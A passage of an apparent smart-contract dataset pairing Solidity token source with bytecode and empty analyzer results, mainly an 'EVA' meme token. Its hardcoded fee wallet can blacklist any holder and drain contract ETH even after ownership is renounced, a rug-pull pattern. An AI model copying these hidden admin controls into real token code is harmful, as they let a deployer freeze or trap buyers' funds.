owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
} | 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101da57806318160ddd1461023f57806323b872dd1461026a5780632ff2e9dc146102ef578063313ce5671461031a5780634042b66f1461034b57806348c54b9d14610376578063661884631461038d57806370a08231146103f257806378f7aeee146104495780638da5cb5b1461047457806395d89b41146104cb578063a6f9dae11461055b578063a9059cbb146105b6578063b66a0e5d1461061b578063bef97c8714610632578063d73dd62314610661578063dd62ed3e146106c6578063e36b0b371461073d578063e985e36714610754578063ec8ac4d814610783578063f41e60c5146107cd578063fc38ce19146107fc575b6101473361083d565b50005b34801561015657600080fd5b5061015f6109ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019f578082015181840152602081019050610184565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e657600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a27565b604051808215151515815260200191505060405180910390f35b34801561024b57600080fd5b50610254610b19565b6040518082815260200191505060405180910390f35b34801561027657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610304610f12565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610f23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035757600080fd5b50610360610f28565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610f2e565b005b34801561039957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ce565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6113a8565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896113ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e06113d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156d565b604051808215151515815260200191505060405180910390f35b34801561062757600080fd5b506106306117c5565b005b34801561063e57600080fd5b5061064761183e565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611851565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610727600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4d565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b50610752611aec565b005b34801561076057600080fd5b50610769611b65565b604051808215151515815260200191505060405180910390f35b6107b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083d565b6040518082815260200191505060405180910390f35b3480156107d957600080fd5b506107fa600480360381019080803515159060200190929190505050611b78565b005b34801561080857600080fd5b5061082760048036038101908080359060200190929190505050611bf1565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561087f57600080fd5b60011515600860149054906101000a900460ff1615151415156108a157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692503491506108d282611bf1565b905060008114156108e257600080fd5b6108f782600654611cbc90919063ffffffff16565b60068190555061091281600754611cbc90919063ffffffff16565b6007819055506109458582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611cda565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109e2573d6000803e3d6000fd5b50809350505050919050565b6040805190810160405280600c81526020017f52616469756d20546f6b656e000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610b3857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7457600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bc257600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c4d57600080fd5b600360009054906101000a900460ff161515610c6857600080fd5b610cba83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4f83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2183600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a6332a9f8800281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8c57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561100b573d6000803e3d6000fd5b506110153061135f565b9050611043600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261156d565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111df576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611273565b6111f28382611eff90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f524144000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114a757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600260046020820201600036905014151561158657fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115c257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561161057600080fd5b600360009054906101000a900460ff16151561162b57600080fd5b61167d83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182157600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60006118e282600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611a6657fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4857600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd457600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611bfd83611f18565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611cb2577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611cb6565b8091505b50919050565b6000808284019050838110151515611cd057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611d1757600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611d6557600080fd5b611db783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611f0d57fe5b818303905092915050565b60008060009050662386f26fc10000831415611f3d57601260ff16600a0a614e200290505b66b1a2bc2ec50000831415611f5c57601260ff16600a0a620186a00290505b67016345785d8a0000831415611f7c57601260ff16600a0a62030d400290505b6706f05b59d3b20000831415611f9c57601260ff16600a0a624c4b400290505b670de0b6b3a7640000831415611fbc57601260ff16600a0a622dc6c00290505b674563918244f40000831415611fdc57601260ff16600a0a629896800290505b809150509190505600a165627a7a72305820dbff37aedaf64e544d931484ce38bc9eb7033368382a863bea9926ea413494590029 | {"success": true, "error": null, "results": {}} | 1,106 |
0x4A14539DDa7815229101a6f363adf3D856da6018 | /**
*Submitted for verification at Etherscan.io on 2021-07-30
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EVA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private selltax = 15;
address payable private _feeAddrWallet1;
string private constant _name = "ElonVSApple || https://t.me/elonvsapplen";
string private constant _symbol = "EVA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5EF294f136dBE2D082ec5569dA914767Aac5321A);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 5;
_feeAddr2 = 5;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = selltax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function cutdownTax(uint256 _selltax) external{
require(_selltax <15);
require(_msgSender() == _feeAddrWallet1);
selltax = _selltax;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = 50000000000000000 * 10**9;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function KillBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function ReviveAddress(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c80636fc3eaec116100a057806395d89b411161006457806395d89b41146102ed578063a9059cbb14610319578063c3c8cd8014610339578063c9567bf91461034e578063dd62ed3e1461036357600080fd5b80636fc3eaec1461025b57806370a0823114610270578063715018a61461029057806375a458cc146102a55780638da5cb5b146102c557600080fd5b80631b61d69d116100e75780631b61d69d146101ca57806323b872dd146101ea5780632ab308381461020a578063313ce5671461021f5780635932ead11461023b57600080fd5b806306fdde0314610124578063095ea7b31461014f5780630defe7ff1461017f57806318160ddd146101a157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103a9565b60405161014691906116f7565b60405180910390f35b34801561015b57600080fd5b5061016f61016a36600461164f565b6103c9565b6040519015158152602001610146565b34801561018b57600080fd5b5061019f61019a36600461159f565b6103e0565b005b3480156101ad57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610146565b3480156101d657600080fd5b5061019f6101e53660046116b2565b610424565b3480156101f657600080fd5b5061016f61020536600461160f565b610456565b34801561021657600080fd5b5061019f6104bf565b34801561022b57600080fd5b5060405160098152602001610146565b34801561024757600080fd5b5061019f61025636600461167a565b610503565b34801561026757600080fd5b5061019f61054b565b34801561027c57600080fd5b506101bc61028b36600461159f565b610578565b34801561029c57600080fd5b5061019f61059a565b3480156102b157600080fd5b5061019f6102c036600461159f565b61060e565b3480156102d157600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102f957600080fd5b5060408051808201909152600381526245564160e81b6020820152610139565b34801561032557600080fd5b5061016f61033436600461164f565b61064f565b34801561034557600080fd5b5061019f61065c565b34801561035a57600080fd5b5061019f610692565b34801561036f57600080fd5b506101bc61037e3660046115d7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b606060405180606001604052806028815260200161189760289139905090565b60006103d6338484610a5f565b5060015b92915050565b600d546001600160a01b0316336001600160a01b03161461040057600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600f811061043157600080fd5b600d546001600160a01b0316336001600160a01b03161461045157600080fd5b600c55565b6000610463848484610b83565b6104b584336104b0856040518060600160405280602881526020016118bf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e95565b610a5f565b5060019392505050565b6000546001600160a01b031633146104f25760405162461bcd60e51b81526004016104e99061174a565b60405180910390fd5b6a295be96e64066972000000601055565b6000546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104e99061174a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461056b57600080fd5b4761057581610ecf565b50565b6001600160a01b0381166000908152600260205260408120546103da90610f09565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104e99061174a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461062e57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006103d6338484610b83565b600d546001600160a01b0316336001600160a01b03161461067c57600080fd5b600061068730610578565b905061057581610f8d565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104e99061174a565b600f54600160a01b900460ff16156107165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e9565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561075630826b033b2e3c9fd0803ce8000000610a5f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561078f57600080fd5b505afa1580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c791906115bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561080f57600080fd5b505afa158015610823573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084791906115bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561088f57600080fd5b505af11580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c791906115bb565b600f80546